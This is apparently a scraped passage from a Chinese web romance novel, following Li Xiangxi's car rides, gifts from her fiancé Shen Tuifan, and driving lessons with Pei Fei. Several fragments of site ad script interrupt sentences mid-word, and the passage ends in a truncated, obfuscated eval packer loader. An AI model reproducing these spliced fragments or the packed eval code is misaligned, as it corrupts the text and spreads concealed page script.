她笑得温和问他:“你是不是早就知道我跟向馨欣的关系,所以刚刚帮我挡住她?” 裴非点头。 猜想得到了证实,黎向浠一身轻松。 裴非就是因为这样才对她好的,比如刚刚把她抵在墙上,也是为了她,并不是什么男女之情。 她拍了拍裴非肩膀,又一次说:“谢谢你!” 裴非垂眸看向被她拍的地方,瞳孔填满了不解。 她胆子越来越大了。 黎向浠却独自开朗道:“哎呀,不是说朋友吗?朋友拍拍你的肩膀,不行吗?” 还没等他回答,黎向浠俏皮指着前方,“走,回家!” 布加迪又一次开在返回老宅的路上,黎向浠的鼻尖依旧充斥着那股沉木的味道。 其实,裴非坐在旁边,黎向浠还是偶尔会觉得拘谨,要么心跳加速,要么不知所措,偶尔说话的时候还会嗓子堵住,总是不能像之前那样平静。 她索性按下车窗,让风吹进来,让呼呼的风声代替车载音乐的声音,闹出点动静。 想到车载音乐,黎向浠突然觉得,裴非的生活太过沉闷了,就连他的车也死气沉沉的,得有点改变。 “可以连我的蓝牙吗?”黎向浠指了指自己的手机。 她想用来播放音乐。 裴非瞥了一眼,不知道她要做什么,但点了点头。 黎向浠三下五除二捣鼓好,满意按下播放键。 这下,总热闹一些了。 欢快的前奏从喇叭扩散到车厢的每一个角落。 “sunrisewithyouonmychest (你靠在我胸口,一起看日出) noblindsintheplacewhereIlive (我的住处没有百叶窗遮挡阳光) daybreakopenyoureyes (破晓已至,张开你的双眼) ''causethiswasonlyevermeanttobeforonenight. (因为这段关系注定只能持续一个晚上)” 这首小甜歌是ShawnMendes的《Fallin''AllInYou》。 黎向浠很喜欢这首歌,听上去很有宿命感,像是天定的缘分,甜甜的,听一听,立刻甜度满分,让人放松。 比如现在,她短暂地扔掉那不知名的感觉,跟着歌词轻哼,脑袋一晃一晃,眼神闪闪发光盯着前方的路段,沉醉在音乐里。 以及,她全然没有留意过驾驶座上,男人僵硬的表情。 裴非在美国呆的时间占了生活的百分之九十九,他可以轻而易举听懂英文歌。 尽管他很少听歌,以及这首歌他是第一次听,但前四句歌词,和他们两个人初遇故事的契合程度太高,让裴非不自觉绷紧了脊背。 他透过反光镜,看见副驾驶女生微弯的眉眼,微挑的嘴角,似乎很开心。 见她只是把这首歌当做好听,不去考虑它的歌词,他也就没有把话说出来。 晚风呜呜灌进车厢,和音乐交织,似乎这辆布加迪也没有那么冰冷了。 空气快速流通,黎向浠的碎发都被吹到脸上了,但她还是一直能闻得见那股淡淡的沉木香味,很静心,很好闻,怎么都甩不掉。 上次裴非说他从不喷香水,那这个味道是哪里来的? 黎向浠指尖勾走碎发,转头凑近裴非身侧,吸了吸鼻子,想要看看是不是他身上散发出来的。 答案是肯定的,她越靠近他,这个味道就越明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 显,尤其是在他肩膀的地方,就像是身处老宅那样,淡淡淡,但每一下呼吸,都是它。 黎向浠心生羡慕,羡慕裴非可以自带香气,还是这种香水没办法制作出来的。 突如其来的凑近,让裴非眉头起了波澜,发现黎向浠只是吸了吸鼻子,并没有别的过分的举动,裴非才眨眨眼,松下来。 他还没来得及问她要做什么,闻见了什么,便听到女生天真地说一句:“你身上好香啊。” 同时,她还满脸真诚说。 裴非呼吸乱了一拍,漆黑的瞳孔骤然收紧。 这样的搭讪他听过不少,但那些人目的明确,而且一上来眼神就往不该看的地方瞟,所以那些人对他并没有什么吸引力。 但现在,黎向浠像一只什么都不懂的小猫,她只是好奇而已,眼睛圆碌碌转着,盯着他的侧脸,似乎要看出点什么来。 裴非突然不知道要怎么应付。 紧接着,他又听到一句更天真的,带着甜甜笑容的话:“而且很持久。” 裴非承认,他现在真的很想把她扔出去。 是有多蠢,才会在这样的背景音乐,对一个男人说这种意味不明的话。 任谁听了,都觉得是夸奖他另一方面的能力。 偏偏,她还体会过。 布加迪从十字路口经过,进入柏油路,车子少了,裴非尽情踩着油门。 他迫不及待要下车,在她说出更多奇怪的话之前。 得不到回应的黎向浠只是撇了撇嘴。 她以为自己突然在车上放音乐,裴非还没适应,但这是改变的第一步,他想逃离私生子的阴影,就得让生活热闹起来。 比如,让他多说话。 黎向浠绞尽脑汁思索,什么办法可以让裴非多说话。 看见裴非稳稳操控方向盘的样子,她灵机一动。 “裴非,你什么时候教我学车啊?” 她之前在驾校学车的时候,那些教练话可多了,教个倒车入库,能在旁边笑话她半天,还说驾校的车位画小了,配不上她的技术。 虽然都是冷嘲热讽,但口才是真的了得,听得她嘎嘎笑。 车子停在老宅,车厢灯光亮起,裴非抬眼,看见自己泛红的耳垂。 “都行。”他关掉灯光,掩耳盗铃。 “那明天?你明天有空吗?你基地的工作应该挺忙的吧?” 裴非下车,黎向浠也跟着下车。 乌黑的庭院,偌大的梧桐树底下,靠着淡淡的月色,黎向浠像个小尾巴一样跟在裴非身后,小碎步进了宅子。 “如果你很忙的话,我也不着急,你什么时候休息,我什么时候学,或者我去你基地学。” 黎向浠想了想,不行,去基地的话,她跟裴非的关系就暴露了。 “算了,我就在这里学……” 她还在叽叽喳喳,裴非突然停下脚步。 黎向浠趔趄一下,脑袋又一次撞到裴非胸口,为了保持平衡,她双手抓着他手臂。 裴非这次并没有扶她,但她扶了裴非。 黎向浠捂着脑袋抬眼。 裴非锋利的下巴近在咫尺,还有那晚她不小心特别关注的喉结,而她,像一只蜘蛛一样趴在他身上。 尽管身在老宅,但这样近的距离,她还是分得清,那股淡淡的沉木味道,来自他身上。 黎向浠赶紧弹开,整理着衣服,这才发现,自己居然跟到裴非房间门口了。 她懊恼抿嘴,又朝裴非傻笑,“哈哈哈哈,好险,差点摔到,幸好有你哈哈哈哈……” 哈哈哈…… 裴非鼻腔出气,想还一还车厢里她一脸天真说出来的“大胆”的话。 于是,他一副“你想做什么”的表情看向她,指了指后方的红木门,淡淡问:“进去看看?” - 29. 送给他 房间里,宽大的床上,黎向浠钻在棉被底下,脸颊烫到红晕阵阵。 她刚刚简直可以用落荒而逃,抱头鼠窜来形容。 黎向浠能听得出裴非那句话只是开玩笑地提示她,他到房间门口了,但哪怕只有0.0001%的可能,黎向浠还是想歪了。 裴非居然开玩笑了!还邀请她进他的房间! 心脏剧烈跳动,黎向浠双手捂着脸颊,告诉自己不要多想,下次不要如此莽撞。 手机响起,司机电话。 他打来做什么? 黎向浠钻出被子,按下接听键。 司机:“黎小姐,换季了,沈总让我带您去选几套合适的衣服。” 衣服? 黎向浠垂头看一眼自己身上的穿着,挺好的啊。 司机似乎听得出她沉默中的疑问,补充道:“沈总说,既然您现在身份不一样了,在生活质量方面,也应当有所提升才行,您应当先适应。” 明里暗里说她以前穿的便宜呗。 黎向浠不当回事,去看看又无妨。 “你把地址发给我,明天我自己打车过去就好。” “沈总也是这样说的,同时让我向您转达一声抱歉。因为他的身份不方便频繁进出老宅,所以之后的行成,您需要自己开车。车子已经备好,在沈总准备的新婚别墅内,您可以随时过去取。” 沈推凡说,因为身份不能过来。 所以这间老宅是裴非的,而沈推凡是沈家唯一对外公开的继承人,若是跟裴非来往密切,那裴非的身份很大可能要暴露。 连兄弟都不能常见面啊。 黎向浠心底悄然叹了一口气,她以为是因为这样,所以裴非和沈推凡的关系不大好,裴非才要隐瞒沈推凡他回来的事情。 “他不问问我会不会开车吗?” 一样的行为,裴非就会问。 黎向浠还是不自觉对比起来,然后她摇摇脑袋,把这个奇怪的想法赶跑。 怎么能把裴非和沈推凡放一起,他们身份都不一样,一个是她以后结婚的对象,一个只是朋友。 司机:“我想,黎小姐应当是有驾照的,明天的服装店地址我已经发给您,您只要过去就好,里面已经有人在等候了。” 言外之意,沈推凡调查过了,她的身份信息一目了然。 黎向浠刚刚春心萌动的状态烟消云散,心底沉沉的,有点失望。 这通电话像是一个提醒,提醒她注意自己的身份,也提醒她,将来跟沈推凡毫无感情的婚姻里,她会面临他的不体贴。 既然能调查出她有驾照,也能调查出她根本就没有车子,他考虑到她的穿着有损他的体面,却没有考虑到,其实她没开过车的。 黎向浠呈大字形躺在床上,眼神发呆了十分钟,又突然从床上蹦起来。 不对啊,她为什么突然对这个婚姻有要求了,还要求沈推凡体贴细心? 她勾起嘴角嘲笑一番自己的异想天开,又钻进被子。 - 翌日上午,趁裴非要出门,黎向浠跟着走出院子。 拜沈推凡所赐,她已经可以很冷静对待裴非了。 她站在布加迪车前,询问道:“裴非!你可以带我一程吗,到超市前的公交站放我下去就好?” 反正也顺路。 裴非没问她要去做什么,点点头。 车子开在柏油路,黎向浠撑着手,有些紧张。 不是因为裴非紧张,她现在根本没时间想裴非的事情,是因为她第一次去那样昂贵的店。 昨天司机发过来的是个高奢牌子,位置也在京北最昂贵的购物中心。 “要去哪?”裴非开口。 “啊?噢噢,没有,我就出去逛一逛。” “送你过去?” 黎向浠连连摆手,“不用不用,我自己去就行了。” 裴非过去,被沈推凡身边人看见,那不就暴漏了,她也没有打算和裴非说,毕竟他不乐意听沈推凡的事,那多一事不如少一事。 裴非没有继续问,黎向浠躲过一劫。 下了车,黎向浠和裴非道别,又转上公交车。 坐了一个多小时,在购物中心站下车。 这栋购物中心是一座高耸入云的大厦,呈环绕的圆形,里面是欧式风格,宽敞的大厅,昂贵的装饰画,倾斜而下的吊灯。 黎向浠刚进去,便有一个五十多岁模样的管家走上前,后面跟着两个黑衣保镖。 管家朝她颔首:“黎小姐。” 他伸手指引黎向浠上电梯,去到顶层。 顶层大厅是简单的纯白色,沙发也是白色,地板一尘不染,担心会留下一连串的脚印,黎向浠悄悄踮起脚尖往里面走。 里面是满墙壁的密密麻麻的格子,每个都装了包包,用暖色灯光装饰着。五六排架子挂满了女性衣服排开,前面有一整排的鞋子,中央是琳琅满目的饰品。 黎向浠眼睛放光。 不开心是假的,毕竟就算是最便宜的,也是她和黎蔓加起来一年都赚不到的数字。 她总算知道倪婷为什么觉得沈家小气了,确实家底浑厚。 三四个服务员笑嘻嘻迎上来,帮黎向浠拿走她的链条包。 其中一个打头的女人朝她恭恭敬敬说:“小姐您好,沈总交代过,这里的所有东西,您可以随意挑选,当然,你也可以随时过来。” 言外之意,这就成了她的衣橱。 架子上多是小香风,或者亲肤的紧身类型,本身就很夺目。 黎向浠看着它们,无从下手。 这样的衣服需要日常形象管理去支撑,而她,习惯了脸颊上若隐若现的小瑕疵,也习惯了淡妆或者素颜,怕担待不起它们。 “要不还是算了吧。”她朝管家说。 管家似乎很善解人意,他笑:“没关系黎小姐,如果这里没有您喜欢的款式,您也可以这栋楼任意一家。” “我今天是一定要挑吗?”黎向浠问。 管家依旧面不改色,沉稳说:“沈总自然是希望您可以收下的。” “如果我不选呢?” 嗡- 话音没落下,沈推凡的电话进来了。 真是说曹操…… 黎向浠撇撇嘴,按下接听键。 “不喜欢?”沈推凡的语气很温和,有一种是他安排不周的感觉。 黎向浠有些愧疚,“不是,它们太贵了。” “你将来是我夫人,这些只是你的日常,选一些吧。” 沈推凡这样明确开口,她也没办法推脱,毕竟只是几件衣服,再拒绝显得她不识好歹。 挂了电话,黎向浠选了尽可能贴近日常的一件小香风外套和裙子,又选了一双马丁靴,这样看上去比较符合她现在的年龄。 包装好,两个保镖帮她拿着,几个人又进入电梯。 管家给黎向浠递过来一把车钥匙,还有两张vip卡。 车子是库里南的,但vip卡…… “这是?”黎向浠看着它们。 管家:“一张是美容院的卡,您这段时间有空的话,可以去看看,另一张是准妈妈培训班。” 黎向浠脑子嗡了一下。 准妈妈,沈推凡很着急要小孩? 可她还没有做好准备。 管家并不搭理她的震惊,继续说:“这些地方,到了约定时间,我会给您发信息,到时候您过去就行,沈总已经安排好,别的您不需要担心。” 像是强硬要求那样。 “谢谢。”黎向浠苦笑。 从购物中心出来,黎向浠拎着昂贵的包装袋,坐上两块钱一趟的公交。 秋天到了,气温偏低,黎向浠坐的位置开了窗,她只穿了薄薄的防晒外套,风一吹,凉飕飕的,跟心情一样。 知道会有这一天,但真的接触这些的时候,又觉得很虚浮。 公交往前走,抵达一家普通的购物广场,黎向浠打了个喷嚏。 想到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来山城的时候,她只收拾了夏天的衣服,再冷下去就没有衣服穿了。 于是她下车,准备自己买一点秋天的衣服,买点适合她的,穿出去既能坐公交,也能坐豪车的衣服。 黎向浠往里面走,一个人挑挑选选,以前买衣服她都是跟黎蔓一起去,黎蔓总是可以在最便宜的价格里,选出质量最好,又最好看的衣服。 现在没有人帮忙把关,黎向浠一无所获。 她百无聊赖转圈,路过一家运动装,看见橱窗里一顶白色鸭舌帽,黎向浠在它跟前驻足。 帽子戴在白色塑料模特的头顶,模特也穿着一身黑,这让她想到裴非。 裴非一直都穿着黑色的鸭舌帽,既然要暗地里帮他改变,那不如试试给他买一顶别的颜色的帽子呢? 黎向浠走进去,没一会儿就拎着帽子,步履轻快出来。 她逛了一下午,就收获了它。 黎向浠迫不及待拿出手机,拍了一张照片发给裴非。 又打下消息:【好看吗?】 收到信息的时候,裴非正在基地看队员赛车训练。 手机震动两下,他点进微信,点开照片。 黎向浠将帽子戴在自己脑袋上,对着店里的全身镜拍了一张盖住脸的照片。 帽子并不是纯白色,而是黑色上面有一道斜着的白色,看上去比黑色活跃,又比白色低调。 挺好看的,但他不戴别的颜色,他戴帽子的主要目的,就是让人无视他,如果帽子太特别太惹眼,那就没有意义了。 【好看。】 他还是这样回了。 毕竟戴在黎向浠头上,不需要隐形。 黎向浠:【我也觉得很好看!送给你的噢!】 这顶帽子是给他买的。 墨镜后方不苟言笑的瞳孔,泛起一丝旖旎的笑意。 黎向浠:【你戴起来刚好合适!】 这两条是分开发的,许子炀正巧走到裴非旁边,看见了最后一条的内容,但来不及看发信人,裴非已经挪走屏幕。 “你戴起来刚好合适?”许子炀这样重复,然后意有所指问,“戴……什么?” 毕竟昨晚向馨欣和他说,看见裴非在街边跟女人亲吻,许子炀以为裴非开窍了。 裴非熄掉手机,推了推许子炀胸口,“关你屁事。” 许子炀挑眉,“四个字?我的天,你以前都让我滚的,不会真是我想的那样吧?向馨欣说的,你昨晚真跟女人在街头亲嘴了?” 裴非睨过去,手却握紧跟前的栏杆,掌心不自觉又感受到昨晚女生唇瓣的柔软。 昨晚没有发生什么,只是他的手盖在她唇上,然后她小鸟依人又娇羞地靠在他胸口,从外人看来,他们很恩爱,仅此而已。 “没有。”裴非回。 他也在感谢今天戴了墨镜,撒谎时不坚定的眼神,没有暴露出来。 许子炀:“料你也不敢,我就说,肯定是向馨欣瞎说的,买卖不成仁义在,太恶毒了。” 裴非半眯眼睛,不满睨向许子炀。 什么叫买卖不成仁义在,谁卖了? 许子炀打了打嘴巴,“我说错话了,开个玩笑都不行。” 裴非转走脸。 没一会儿,他又沉沉开口:“拜托你个事。” 许子炀掏出手机,语气轻松,“知道,向馨欣刚回来我就知道你俩肯定发生什么冲突了,她现在估计要找人查你。放心吧,买卖不成仁义在,你只要呆在我的车队一天,我绝对不会让你暴露的。” “谢了。”裴非若有所思看向远方回。 许子炀能穿过沈推凡的重重监视,带他回国,那对付一个向馨欣,裴非并不担心。 裴非手机微信又震动了一下,不用猜就知道,黎向浠没等到他的回复,发消息念叨他呢。 裴非不自觉勾了勾嘴角。 想到什么,裴非转头问许子炀:“我身上有什么香味吗?” 许子炀:? - 30. 选择他 黎向浠给裴非发了照片,聊了两三句之后,裴非又没有回答了。 估计是在忙,黎向浠关上手机,进了街道边一家奶茶店,打算补充体力。 奶茶店很大,沙发柔软,环境安逸,因为工作日,又没有到下班时间,里面只有零碎的几个人,他们拿着电脑在忙碌什么。 黎向浠就坐在窗边,望着外面的风景,感叹京北真大。 不一会儿,奶茶和裴非的信息一起过来了。 裴非:【在哪?】 【在购物商城楼下。】 她如实回答。 【你要过来吗?还是你要买东西?我可以帮你买,然后给你带回去,反正我现在也不着急回去,还能再逛逛。】 毕竟从基地过来,似乎要挺长一段时间。 裴非:【不,我在附近,可以过去接你。】 黎向浠扬起嘴角:【好呀好呀!那你什么时候下班?我可以等你。】 裴非看一眼训练场结束了的比赛,切换APP搜索基地到购物商城的驾车时间。 裴非:【一个半小时。】 黎向浠:【好!那我在这里等你!】 黎向浠:【对了,你要不要喝奶茶?我给你点一杯?】 裴非一边赶往停车场一边回:【不。】 黎向浠:【喝一杯嘛,很好喝的,甜甜的。】 裴非:【不。】 见他拒绝得果断,黎向浠没再坚持:【好吧。】 等待的时间里,黎向浠便撑着手,百无聊赖。 无意间在口袋摸出库里南车钥匙,她放到桌子上把玩。 她并不打算去取那辆车,裴非已经给过她一辆了,而且管家说在婚房里面,她总觉得,提前过去怪怪的。 这样胡思乱想不到一个半小时,黎向浠便看见黑色布加迪停在眼前的马路边,在一众车流里,显眼得很。 黎向浠拿起东西小跑过去,上了副驾驶。 裴非今天还是一身黑,她上车的时候,他只是一只手搭在方向盘,一只手撑在窗边,手指压着嘴角,并不看她。 车厢依旧安安静静,她不连接蓝牙,裴非就也没有开车载音乐了。 “好巧啊,幸好你在这里,不然我又要坐好久的公交车回去,本来想给你买一杯奶茶当做答谢,结果你不喝,下次吧,下次你想吃什么,我请客。”黎向浠整理东西问候。 黎向浠没有说,中午试衣服试鞋子,已经挥霍了她大半精力,要是转完车,还要走那段柏油路,她应该很崩溃。 裴非想说不需要,转头瞥见她放到脚边的包装袋,以及她掌心那把黑色的车钥匙,眼睛诧异地半眯下去,原先涟起的一丝笑意也消失得干干净净。 没听到回答,黎向浠转头,发现裴非只给她留了一个沉默的侧脸,他咬着后槽牙,眼神很冷,看上去不太开心。 不过裴非原来也是这种不近人情的表情,所以黎向浠当做是裴非又回到了原来的状态,没有多想。 她拿出鸭舌帽,递到裴非眼底,期待说:“快试试,看看合不合适?” 裴非垂眸掠了一眼,又看向前方,没什么感情地回:“不需要。” 微信聊天的时候不是好好的吗? 黎向浠拧眉,她偏头,看向裴非眼神。 他微微偏走脸,躲避她。 干嘛不搭理她? 黎向浠疑惑往他跟前探,裴非只是余光没什么感情地瞥了她一眼,便看向窗外一动不动。 “你……不开心?”黎向浠小心问。 “没。”裴非淡淡回。 但紧绷的唇角,怎么看都是生气的表现。 难道是不喜欢这个颜色?可是微信里他明明说好看了的。 黎向浠看着帽子,皱了皱鼻子,有些尴尬地咬了咬下嘴唇,“这样吧,你喜欢什么颜色,我现在拿上去换,就在三楼,你等我一下就好。” 黎向浠转身要下车。 裴非却把车门锁了。 “不用。”他说。 黎向浠搞不懂了,她靠着椅子看向裴非,脑子闪过好多可能性。 难道说,其实他是喜欢这个帽子,只是不知道怎么收礼,毕竟他很少跟人接触。 这样想着,黎向浠拍了拍裴非肩膀,将他原先的帽子拿下来,换上她买的这顶。 突然的动作让裴非启动了防御意识,他转头,抓住黎向浠放在他头顶的手腕,眼神警惕盯着她。 但黎向浠并没有察觉他的警惕,她只觉得裴非有了反应,那就证明她的想法是对的,于是她认真看着他。 帽子压住裴非前额刘海,搭在薄长的眼睛上方。他的五官很立体,帽檐盖下的阴影并不影响英隽的轮廓。 其实不管哪种颜色的帽子,对裴非这样的脸来说,并没有区别。 黎向浠原本是打算评价帽子的,但这样近的距离,她压根没办法专心看帽子,视线总是被裴非好看的瞳孔吸引。 他的瞳孔很黑,深邃,像是藏了无尽黑暗,因为是白天,瞳仁上有一抹白点反光。 黎向浠分不清是因为拉近距离,她才看见那里面的自己,还是因为,裴非就是在看着她,只看着她,才会这样。 于是她克制不住去靠近,靠近到帽檐前端抵着她脑袋,他的呼吸,很重地打在她鼻尖。 她还是一心要看一看他眼睛里的景象。 等黎向浠反应过来这个动作有多暧昧的时候,裴非的眼神已经变了,从凌厉变得缱绻,缠绵。 她乌黑的杏眼明显慌了神,黎向浠又开始不对劲了,这次她甚至觉得自己有两颗心脏,一颗在胸口,一颗在被裴非牵着的手腕处,两颗同频共振,咚咚咚跳着。 直到她咽了咽口水,扰乱自己胸口那颗的频率,黎向浠才发现,手腕那颗,好像是裴非的。 错觉。 黎向浠这样想。 她拽走手,裴非却紧紧抓着不放。 不理解裴非要做什么,但黎向浠此刻还是清醒的,她想下车。 她脚边还有沈推凡送给她的衣服,手心还有沈推凡送的车钥匙,如果裴非知道这是沈推凡送的…… 想到这儿,黎向浠恍然大悟。 高奢的衣服,昂贵的库里南,她身边能接触这两样东西的只有沈推凡,裴非知道这件事,所以他也知道这些是沈推凡送给她的。 裴非觉得这顶帽子跟沈推凡有关系,所以他才会这么生气? 豁然开朗,黎向浠松了一口气,至少,那个心跳是错觉。 “帽子……是我自己买的……”黎向浠有些歉意地说。 帽子很贵的,黎向浠平时买衣服都不敢花这么多钱,但毕竟是裴非,她阳台上的那顶,一看就价格不菲,所以我送给他的,也得往贵了挑。 裴非似乎不听她的解释,还是那样看她,不凶,也不松开。 黎向浠没辙了,她突然伸出另一只手,笑得像是照顾小孩那样帮他整理鬓角,“你戴上去很好看的!真的!” 她在催眠自己,裴非是沈推凡弟弟,也是她弟弟,这样没什么。 裴非却又一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次拽住她的手腕,两只手都被禁锢。 慌乱间,库里南的车钥匙从黎向浠手底滑落,砸在裴非腰带上,往下落,卡在那里…… 黎向浠低头眼神追着过去,却无意间,视线稳稳落在那个位置,上面顶着在她掌心攥了许久的钥匙,没估算错的话,还有她掌心的温度。 它只是平常状态,其实也很…… 这一下胡思乱想,黎向浠迅速脸颊发烫,耳垂泛红,蓦地抬头,又对上裴非的视线。 拜意外所赐,裴非像是突然回神,瞳孔颤了一下松开她。 他们以一种近乎弹开的速度,各自绷紧脊背坐正。 窗外太阳西沉,一抹余晖落进来,照红两人的脸颊,也将烫热了车内的温度。 黎向浠按下车窗,让秋风灌进,还要用手在脸颊旁边扇风,试图吹散刚刚的诡异。 太尴尬了!为什么偏偏就是那个位置! 她此刻恨不得遁地。 还没有缓解,她还没有做好准备的时候,车子启动,隐入车流里。 就像驾驶人不知道如何应付这件事,试图找另一件事来忙碌,以掩盖它一样。 裴非那边的车窗也打开了,两股风吹进来,在中间汇合,呜呜作响,让气氛缓和了一些。 秋风微凉,降热作用明显,黎向浠很快就平复了心情。 她回头,裴非还戴着她送的那顶帽子。 看吧,解释了之后他就收下礼物了。 她以为,裴非真是因为那个原因,于是,她开口,以为是解释地说:“其实你不用担心这些,我不会用别人的钱,给你买礼物的。” 更不会用沈推凡的。 裴非咬紧后槽牙,这句话的奇怪程度,不亚于“很持久”。 听上去就是一股包/养的味道。 她确实很天真,想法更是天真。 裴非将车钥匙递给黎向浠,语气缓和许多问:“什么时候有空?” “嗯?”黎向浠接过,不解。 “学车。”裴非回。 黎向浠喜笑颜开,她正愁怎么跟裴非说呢,他似乎没有打算问库里南的事了。 “我都行!”黎向浠点头。 裴非:“明天。” “好!” 黎向浠松了一口气,弯下脊背靠在椅子上,一身轻松。 风还在往车里灌,她今天的衣服实在单薄,没忍住,她又打了一个喷嚏。 裴非左手挪开方向盘,没一会儿,两边的车窗缓缓上升,车厢内的空调也升了两个度,完全吹散那股凉意。 黎向浠余光看着这一切,悄悄抿嘴。 其实裴非很细心,比她预期要细心,不像沈推凡。 想到沈推凡,黎向浠嘴角压了压。 车厢没了风的呼肃,安安静静,黎向浠的叹息声在里面放大,裴非微微偏头。 黎向浠斜眼看过去,问他:“我还能连你的蓝牙吗?” 裴非点头。 黎向浠便熟门熟路操作起来。 等小甜歌的音符传出,黎向浠彻底忘掉刚刚的小插曲,伸了个懒腰。 想到什么,她转头,朝裴非的侧脸问:“我学了车之后,还能开你给我的那辆吗?我比较喜欢跑车。” 言外之意,她不是很想开沈推凡给她的库里南。 另一个言外之意,其实和沈推凡相比,她觉得裴非更好一些。 黎向浠觉得裴非听出来了,他鼻腔轻轻出气,微微点头,嘴角蕴着一抹不易察觉的笑容。 - 31. 他教学 深夜,老宅书房外的阳台。 男人背在椅子上,指腹夹烟,白雾缭绕,茶几上有一顶点缀了白色的鸭舌帽,身后传来跌宕起伏讲故事的女音。 他沉沉吸一口,白烟从肺部过滤,化成细雾从嘴角缓缓吐出,却依旧没有缓解他眉间的褶皱。 他回想着自己的行为,想到在车上看见沈推凡送她的礼物,想到他为什么突然觉得不开心,又为什么因为她的一句更喜欢他送的车子而开心。 没得出结论。 因为不希望她走吧,她走了谁在书房录制有声书?他上哪儿听去? 裴非这样总结,又狠狠吸了一口烟,像是给这个不太靠谱的理由,找一个立得住脚的支撑。 - 翌日中午,老宅后院。 阳光充足又不刺激,白日的秋风比夜晚的热一些,穿一件白色防晒的薄外套刚刚好。 黎向浠头发随风飞扬抱着自己,看着红色惹眼的法拉利从装满了豪车的车库里开出来,心底发虚。 她确实拿过驾照之后就没有碰过车了,连最基本的启动都不会,上来就是豪车,真心疼。 裴非把车子停在院子中间,熄火,轰隆的引擎声立刻停止,随之而来的是淡淡的汽油味。 裴非下车,将钥匙递给黎向浠。 黎向浠双手不太娴熟地接过,颤颤巍巍上了驾驶座,有种赶鸭子上架的感觉。 车厢内是全黑色,干干净净,和布加迪一样,没有任何香精的味道,也没有令人作呕的汽车味,就是简单的空气的味道,跟站在院子的榕树底下差不多。 驾驶座上还有裴非留下的余温。 黎向浠扣好安全带,双手抓着方向盘,眨巴眼转头。 裴非并没有立刻去副驾驶,而是站在她身侧,一手放在驾驶座椅子靠背,一只手撑在没有关得车门上,有些好笑地打量她。 “和你说一下最基本的东西。”裴非收掉眼底笑意说。 黎向浠点头如捣蒜。 她刚刚还想,要是问那些基本的东西,会不会被裴非嫌弃,毕竟他可是赛车手,对于她这种新手菜鸟的问题,应当觉得搞笑。 比如说,黎向浠问:“启动按钮在哪?” “手刹呢?” “挡风玻璃呢?” …… 裴非并不觉得她搞笑,而是认认真真给她讲解。 “选一个你方便踩刹车的位置。” 裴非弯腰进入驾驶座,帮她调整座椅。 黎向浠不敢动,他的呼吸在她耳畔,粗粝的手抵在她肩膀上不远处的椅子上,稍稍用力,她就像滑滑梯一样,跟着椅子动起来。 “你自己来。”裴非见她出神,示范一遍,便让她调整,毕竟是她自己开车,哪种位置比较顺手,需要她自己感受。 从调整座椅开始,到穿什么鞋子开车,再到转向灯、远近光灯、双闪雾灯等等,裴非又带着她扭动方向盘感受角度调整,不厌其烦。 最后,裴非拍了拍她椅子靠背,叮嘱说:“记得,开车的时候,脚要主刹车。” “噢噢。”黎向浠攥着方向盘,连连点头。 她紧张到目不斜视,死死抓着方向盘,跟是救命稻草一样。因为所有的都讲解完了,该开车了。 裴非说完这句话并没有离开,他看向她因为用力而泛白的手指关节。 见没有动静,黎向浠抬头,欲哭无泪又弱小问:“你不上车跟我吗?” 不会直接让她自己来吧?那分分钟要撞翻院墙的节奏。 “跟。”裴非忍俊不禁,他说,“放松,这没什么。” 黎向浠听不出语气里的宠溺了,她只觉得方向盘和刹车就是她的命,松不得。 噢,还有裴非的命,他坐在副驾驶,居然一脸轻松的样子。 “你不害怕吗?”黎向浠转向副驾驶问他。 毕竟命在她手里。 裴非轻轻勾起嘴角,总算露出了外显的笑容,“不。” 可惜,此刻黎向浠已经没有心情欣赏他笑得有多春风拂面了,她紧张地咽口水。 “为什么,我可没有正式开过车。” “我相信你。”裴非说。 虽然很感动,黎向浠却觉得这种鼓励不是很有用,因为她都不相信她自己。 比如,她插钥匙的手在发抖。 黎向浠听到了裴非的轻哼,小小一声,不是讥笑,是忍俊不禁。 她讪讪转头,“抱歉啊,我真的挺害怕的。” “没事,我会帮你。”裴非说。 这句话比那句“我相信”强了一万倍,黎向浠立刻平静不少。 因为她是真相信裴非会帮她,就像驾校里,教练坐在副驾驶帮她踩刹车那样有安全感,尽管这辆车的副驾驶并没有刹车,但有裴非,F1冠军,比十个刹车都管用。 她居然好笑地在想,要是出现意外,她要往右边拐,不能恩将仇报让裴非替她挡。 黎向浠双手在衣服上抹了抹,擦掉冷汗,“我开始了!” “嗯,开始。”裴非配合她回。 车子启动,引擎声牵动黎向浠不安的心跳,轰轰响着,她跟小猫一样轻轻踩下油门,车子往前开了十公分,立刻急停。 黎向浠需要适应一下这样的速度,她觉得起步太快了,所以猛踩刹车了。 裴非坐在副驾驶,身子往前倾,又猛地往椅子上砸,强烈的背推感让他再次不由笑了笑。 “抱歉哈哈哈哈……”黎向浠挠了挠眉毛,自己都忍不住笑了。 “没关系,继续。”裴非勾着嘴角,轻言轻语。 黎向浠依旧没有察觉到裴非讲话语调的变化。 她只觉得安心,来自副驾驶的鼓励,于是她重新开始,慢慢往前开。 转弯的时候,裴非会伸手虚托在方向盘上,但不发力,像是在给她慌乱的心上一道保险。 “打多一些。”裴非盯着路面说。 黎向浠立刻用力扭,多了。 裴非没有帮她调整,而是又告诉她,“回来一些。” 这样在院子转了好多圈,裴非又指挥她把车子开进车库,在各种停车位上转圈,跟车子熟悉起来,这才让她开出院子。 “在别墅区转两圈。”裴非这样指挥她。 黎向浠点头。 院子就是绕着老宅的大圆形,弯弯绕绕,别墅区压根没有人,路面又大,她并不担心。 裴非似乎也不担心,他靠在椅子,原本紧盯前方的眼神松了下来,一言不发。 车厢没了动静,黎向浠这才有空回想他刚刚的教学。 原来刚刚裴非和她说了那么多话,而且轻声细语,以及,他一开始的时候是不是笑了?而且笑得很明显? 黎向浠抬眸看向反光镜。 裴非一只手撑在车窗上,托着太阳穴,似乎在帮她看路况。 阳光从外面照进来,照亮裴非下半张脸,神色悠闲。 其实裴非开车的时候,神色也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 